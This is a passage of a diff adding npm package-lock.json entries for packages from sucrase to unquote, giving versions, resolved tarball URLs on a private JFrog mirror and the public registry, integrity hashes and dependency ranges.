+ "version": "3.32.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/sucrase/-/sucrase-3.32.0.tgz", + "integrity": "sha512-ydQOU34rpSyj2TGyz4D2p8rbktIOZ8QY9s+DGLvFU1i5pWJE8vkpruCjGCMHsdXwnD7JDcS+noSwM/a7zyNFDQ==", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.2", + "commander": "^4.0.0", + "glob": "7.1.6", + "lines-and-columns": "^1.1.6", + "mz": "^2.7.0", + "pirates": "^4.0.1", + "ts-interface-checker": "^0.1.9" + }, + "bin": { + "sucrase": "bin/sucrase", + "sucrase-node": "bin/sucrase-node" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/sucrase/node_modules/commander": { + "version": "4.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/commander/-/commander-4.1.1.tgz", + "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", + "engines": { + "node": ">= 6" + } + }, + "node_modules/sucrase/node_modules/glob": { + "version": "7.1.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/glob/-/glob-7.1.6.tgz", + "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/supports-hyperlinks": { + "version": "2.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-hyperlinks/-/supports-hyperlinks-2.3.0.tgz", + "integrity": "sha512-RpsAZlpWcDwOPQA22aCH4J0t7L8JmAvsCxfOSEwm7cQs3LshN36QaTkwd70DnBOXDWGssw2eUoc8CaRWT0XunA==", + "dependencies": { + "has-flag": "^4.0.0", + "supports-color": "^7.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-hyperlinks/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-hyperlinks/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/svg-parser": { + "version": "2.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/svg-parser/-/svg-parser-2.0.4.tgz", + "integrity": "sha512-e4hG1hRwoOdRb37cIMSgzNsxyzKfayW6VOflrwvR+/bzrkyxY/31WkbgnQpgtrNp1SdpJvpUAGTa/ZoiPNDuRQ==" + }, + "node_modules/svgo": { + "version": "1.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/svgo/-/svgo-1.3.2.tgz", + "integrity": "sha512-yhy/sQYxR5BkC98CY7o31VGsg014AKLEPxdfhora76l36hD9Rdy5NZA/Ocn6yayNPgSamYdtX2rFJdcv07AYVw==", + "deprecated": "This SVGO version is no longer supported. Upgrade to v2.x.x.", + "dependencies": { + "chalk": "^2.4.1", + "coa": "^2.0.2", + "css-select": "^2.0.0", + "css-select-base-adapter": "^0.1.1", + "css-tree": "1.0.0-alpha.37", + "csso": "^4.0.2", + "js-yaml": "^3.13.1", + "mkdirp": "~0.5.1", + "object.values": "^1.1.0", + "sax": "~1.2.4", + "stable": "^0.1.8", + "unquote": "~1.1.1", + "util.promisify": "~1.0.0" + }, + "bin": { + "svgo": "bin/svgo" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/svgo/node_modules/css-select": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-select/-/css-select-2.1.0.tgz", + "integrity": "sha512-Dqk7LQKpwLoH3VovzZnkzegqNSuAziQyNZUcrdDM401iY+R5NkGBXGmtO05/yaXQziALuPogeG0b7UAgjnTJTQ==", + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^3.2.1", + "domutils": "^1.7.0", + "nth-check": "^1.0.2" + } + }, + "node_modules/svgo/node_modules/css-what": { + "version": "3.4.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-what/-/css-what-3.4.2.tgz", + "integrity": "sha512-ACUm3L0/jiZTqfzRM3Hi9Q8eZqd6IK37mMWPLz9PJxkLWllYeRf+EHUSHYEtFop2Eqytaq1FizFVh7XfBnXCDQ==", + "engines": { + "node": ">= 6" + } + }, + "node_modules/svgo/node_modules/dom-serializer": { + "version": "0.2.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dom-serializer/-/dom-serializer-0.2.2.tgz", + "integrity": "sha512-2/xPb3ORsQ42nHYiSunXkDjPLBaEj/xTwUO4B7XCZQTRk7EBtTOPaygh10YAAh2OI1Qrp6NWfpAhzswj0ydt9g==", + "dependencies": { + "domelementtype": "^2.0.1", + "entities": "^2.0.0" + } + }, + "node_modules/svgo/node_modules/domutils": { + "version": "1.7.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/domutils/-/domutils-1.7.0.tgz", + "integrity": "sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg==", + "dependencies": { + "dom-serializer": "0", + "domelementtype": "1" + } + }, + "node_modules/svgo/node_modules/domutils/node_modules/domelementtype": { + "version": "1.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/domelementtype/-/domelementtype-1.3.1.tgz", + "integrity": "sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w==" + }, + "node_modules/svgo/node_modules/nth-check": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/nth-check/-/nth-check-1.0.2.tgz", + "integrity": "sha512-WeBOdju8SnzPN5vTUJYxYUxLeXpCaVP5i5e0LF8fg7WORF2Wd7wFX/pk0tYZk7s8T+J7VLy0Da6J1+wCT0AtHg==", + "dependencies": { + "boolbase": "~1.0.0" + } + }, + "node_modules/symbol-tree": { + "version": "3.2.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/symbol-tree/-/symbol-tree-3.2.4.tgz", + "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==" + }, + "node_modules/tailwindcss": { + "version": "3.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tailwindcss/-/tailwindcss-3.3.2.tgz", + "integrity": "sha512-9jPkMiIBXvPc2KywkraqsUfbfj+dHDb+JPWtSJa9MLFdrPyazI7q6WX2sUrm7R9eVR7qqv3Pas7EvQFzxKnI6w==", + "dependencies": { + "@alloc/quick-lru": "^5.2.0", + "arg": "^5.0.2", + "chokidar": "^3.5.3", + "didyoumean": "^1.2.2", + "dlv": "^1.1.3", + "fast-glob": "^3.2.12", + "glob-parent": "^6.0.2", + "is-glob": "^4.0.3", + "jiti": "^1.18.2", + "lilconfig": "^2.1.0", + "micromatch": "^4.0.5", + "normalize-path": "^3.0.0", + "object-hash": "^3.0.0", + "picocolors": "^1.0.0", + "postcss": "^8.4.23", + "postcss-import": "^15.1.0", + "postcss-js": "^4.0.1", + "postcss-load-config": "^4.0.1", + "postcss-nested": "^6.0.1", + "postcss-selector-parser": "^6.0.11", + "postcss-value-parser": "^4.2.0", + "resolve": "^1.22.2", + "sucrase": "^3.32.0" + }, + "bin": { + "tailwind": "lib/cli.js", + "tailwindcss": "lib/cli.js" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/tapable": { + "version": "2.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tapable/-/tapable-2.2.1.tgz", + "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==", + "engines": { + "node": ">=6" + } + }, + "node_modules/temp-dir": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/temp-dir/-/temp-dir-2.0.0.tgz", + "integrity": "sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==", + "engines": { + "node": ">=8" + } + }, + "node_modules/tempy": { + "version": "0.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tempy/-/tempy-0.6.0.tgz", + "integrity": "sha512-G13vtMYPT/J8A4X2SjdtBTphZlrp1gKv6hZiOjw14RCWg6GbHuQBGtjlx75xLbYV/wEc0D7G5K4rxKP/cXk8Bw==", + "dependencies": { + "is-stream": "^2.0.0", + "temp-dir": "^2.0.0", + "type-fest": "^0.16.0", + "unique-string": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/tempy/node_modules/type-fest": { + "version": "0.16.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/type-fest/-/type-fest-0.16.0.tgz", + "integrity": "sha512-eaBzG6MxNzEn9kiwvtre90cXaNLkmadMWa1zQMs3XORCXNbsH/OewwbxC5ia9dCxIxnTAsSxXJaa/p5y8DlvJg==", + "engines": { + "node": ">=10" + } + }, + "node_modules/terminal-link": { + "version": "2.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/terminal-link/-/terminal-link-2.1.1.tgz", + "integrity": "sha512-un0FmiRUQNr5PJqy9kP7c40F5BOfpGlYTrxonDChEZB7pzZxRNp/bt+ymiy9/npwXya9KH99nJ/GXFIiUkYGFQ==", + "dependencies": { + "ansi-escapes": "^4.2.1", + "supports-hyperlinks": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/terser": { + "version": "5.31.6", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.31.6.tgz", + "integrity": "sha512-PQ4DAriWzKj+qgehQ7LK5bQqCFNMmlhjR2PFFLuqGCpuCAauxemVBWwWOxo3UIwWQx8+Pr61Df++r76wDmkQBg==", + "dependencies": { + "@jridgewell/source-map": "^0.3.3", + "acorn": "^8.8.2", + "commander": "^2.20.0", + "source-map-support": "~0.5.20" + }, + "bin": { + "terser": "bin/terser" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/terser-webpack-plugin": { + "version": "5.3.10", + "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.10.tgz", + "integrity": "sha512-BKFPWlPDndPs+NGGCr1U59t0XScL5317Y0UReNrHaw9/FwhPENlq6bfgs+4yPfyP51vqC1bQ4rp1EfXW5ZSH9w==", + "dependencies": { + "@jridgewell/trace-mapping": "^0.3.20", + "jest-worker": "^27.4.5", + "schema-utils": "^3.1.1", + "serialize-javascript": "^6.0.1", + "terser": "^5.26.0" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.1.0" + }, + "peerDependenciesMeta": { + "@swc/core": { + "optional": true + }, + "esbuild": { + "optional": true + }, + "uglify-js": { + "optional": true + } + } + }, + "node_modules/terser/node_modules/commander": { + "version": "2.20.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" + }, + "node_modules/test-exclude": { + "version": "6.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/test-exclude/-/test-exclude-6.0.0.tgz", + "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==", + "dependencies": { + "@istanbuljs/schema": "^0.1.2", + "glob": "^7.1.4", + "minimatch": "^3.0.4" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/text-table": { + "version": "0.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==" + }, + "node_modules/thenify": { + "version": "3.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/thenify/-/thenify-3.3.1.tgz", + "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==", + "dependencies": { + "any-promise": "^1.0.0" + } + }, + "node_modules/thenify-all": { + "version": "1.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/thenify-all/-/thenify-all-1.6.0.tgz", + "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==", + "dependencies": { + "thenify": ">= 3.1.0 < 4" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/throat": { + "version": "6.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/throat/-/throat-6.0.2.tgz", + "integrity": "sha512-WKexMoJj3vEuK0yFEapj8y64V0A6xcuPuK9Gt1d0R+dzCSJc0lHqQytAbSB4cDAK0dWh4T0E2ETkoLE2WZ41OQ==" + }, + "node_modules/thunky": { + "version": "1.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/thunky/-/thunky-1.1.0.tgz", + "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA==" + }, + "node_modules/tmpl": { + "version": "1.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tmpl/-/tmpl-1.0.5.tgz", + "integrity": "sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw==" + }, + "node_modules/to-fast-properties": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/to-fast-properties/-/to-fast-properties-2.0.0.tgz", + "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==", + "engines": { + "node": ">=4" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/tough-cookie": { + "version": "4.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tough-cookie/-/tough-cookie-4.1.3.tgz", + "integrity": "sha512-aX/y5pVRkfRnfmuX+OdbSdXvPe6ieKX/G2s7e98f4poJHnqH3281gDPm/metm6E/WRamfx7WC4HUqkWHfQHprw==", + "dependencies": { + "psl": "^1.1.33", + "punycode": "^2.1.1", + "universalify": "^0.2.0", + "url-parse": "^1.5.3" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/tough-cookie/node_modules/universalify": { + "version": "0.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/universalify/-/universalify-0.2.0.tgz", + "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==", + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/tr46": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tr46/-/tr46-2.1.0.tgz", + "integrity": "sha512-15Ih7phfcdP5YxqiB+iDtLoaTz4Nd35+IiAv0kQ5FNKHzXgdWqPoTIqEDDJmXceQt4JZk6lVPT8lnDlPpGDppw==", + "dependencies": { + "punycode": "^2.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/tryer": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tryer/-/tryer-1.0.1.tgz", + "integrity": "sha512-c3zayb8/kWWpycWYg87P71E1S1ZL6b6IJxfb5fvsUgsf0S2MVGaDhDXXjDMpdCpfWXqptc+4mXwmiy1ypXqRAA==" + }, + "node_modules/ts-interface-checker": { + "version": "0.1.13", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz", + "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==" + }, + "node_modules/tsconfig-paths": { + "version": "3.14.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tsconfig-paths/-/tsconfig-paths-3.14.2.tgz", + "integrity": "sha512-o/9iXgCYc5L/JxCHPe3Hvh8Q/2xm5Z+p18PESBU6Ff33695QnCHBEjcytY2q19ua7Mbl/DavtBOLq+oG0RCL+g==", + "dependencies": { + "@types/json5": "^0.0.29", + "json5": "^1.0.2", + "minimist": "^1.2.6", + "strip-bom": "^3.0.0" + } + }, + "node_modules/tsconfig-paths/node_modules/json5": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json5/-/json5-1.0.2.tgz", + "integrity": "sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==", + "dependencies": { + "minimist": "^1.2.0" + }, + "bin": { + "json5": "lib/cli.js" + } + }, + "node_modules/tsconfig-paths/node_modules/strip-bom": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/strip-bom/-/strip-bom-3.0.0.tgz", + "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==", + "engines": { + "node": ">=4" + } + }, + "node_modules/tslib": { + "version": "2.5.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tslib/-/tslib-2.5.3.tgz", + "integrity": "sha512-mSxlJJwl3BMEQCUNnxXBU9jP4JBktcEGhURcPR6VQVlnP0FdDEsIaz0C35dXNGLyRfrATNofF0F5p2KPxQgB+w==" + }, + "node_modules/tsutils": { + "version": "3.21.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tsutils/-/tsutils-3.21.0.tgz", + "integrity": "sha512-mHKK3iUXL+3UF6xL5k0PEhKRUBKPBCv/+RkEOpjRWxxx27KKRBmmA60A9pgOUvMi8GKhRMPEmjBRPzs2W7O1OA==", + "dependencies": { + "tslib": "^1.8.1" + }, + "engines": { + "node": ">= 6" + }, + "peerDependencies": { + "typescript": ">=2.8.0 || >= 3.2.0-dev || >= 3.3.0-dev || >= 3.4.0-dev || >= 3.5.0-dev || >= 3.6.0-dev || >= 3.6.0-beta || >= 3.7.0-dev || >= 3.7.0-beta" + } + }, + "node_modules/tsutils/node_modules/tslib": { + "version": "1.14.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==" + }, + "node_modules/type-check": { + "version": "0.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/type-check/-/type-check-0.4.0.tgz", + "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", + "dependencies": { + "prelude-ls": "^1.2.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/type-detect": { + "version": "4.0.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/type-detect/-/type-detect-4.0.8.tgz", + "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==", + "engines": { + "node": ">=4" + } + }, + "node_modules/type-fest": { + "version": "0.21.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/type-fest/-/type-fest-0.21.3.tgz", + "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==", + "engines": { + "node": ">=10" + } + }, + "node_modules/type-is": { + "version": "1.6.18", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "dependencies": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/typed-array-length": { + "version": "1.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/typed-array-length/-/typed-array-length-1.0.4.tgz", + "integrity": "sha512-KjZypGq+I/H7HI5HlOoGHkWUUGq+Q0TPhQurLbyrVrvnKTBgzLhIJ7j6J/XTQOi0d1RjyZ0wdas8bKs2p0x3Ng==", + "dependencies": { + "call-bind": "^1.0.2", + "for-each": "^0.3.3", + "is-typed-array": "^1.1.9" + } + }, + "node_modules/typedarray-to-buffer": { + "version": "3.1.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz", + "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==", + "dependencies": { + "is-typedarray": "^1.0.0" + } + }, + "node_modules/typescript": { + "version": "4.9.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/typescript/-/typescript-4.9.5.tgz", + "integrity": "sha512-1FXk9E2Hm+QzZQ7z+McJiHL4NW1F2EzMu9Nq9i3zAaGqibafqYwCVU6WyWAuyQRRzOlxou8xZSyXLEN8oKj24g==", + "peer": true, + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=4.2.0" + } + }, + "node_modules/unbox-primitive": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/unbox-primitive/-/unbox-primitive-1.0.2.tgz", + "integrity": "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw==", + "dependencies": { + "call-bind": "^1.0.2", + "has-bigints": "^1.0.2", + "has-symbols": "^1.0.3", + "which-boxed-primitive": "^1.0.2" + } + }, + "node_modules/unicode-canonical-property-names-ecmascript": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz", + "integrity": "sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ==", + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-ecmascript": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz", + "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==", + "dependencies": { + "unicode-canonical-property-names-ecmascript": "^2.0.0", + "unicode-property-aliases-ecmascript": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-value-ecmascript": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.1.0.tgz", + "integrity": "sha512-qxkjQt6qjg/mYscYMC0XKRn3Rh0wFPlfxB0xkt9CfyTvpX1Ra0+rAmdX2QyAobptSEvuy4RtpPRui6XkV+8wjA==", + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-property-aliases-ecmascript": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.1.0.tgz", + "integrity": "sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w==", + "engines": { + "node": ">=4" + } + }, + "node_modules/unique-string": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/unique-string/-/unique-string-2.0.0.tgz", + "integrity": "sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==", + "dependencies": { + "crypto-random-string": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/universalify": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/universalify/-/universalify-2.0.0.tgz", + "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/unquote": { + "version": "1.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/unquote/-/unquote-1.1.1.tgz", + "integrity": 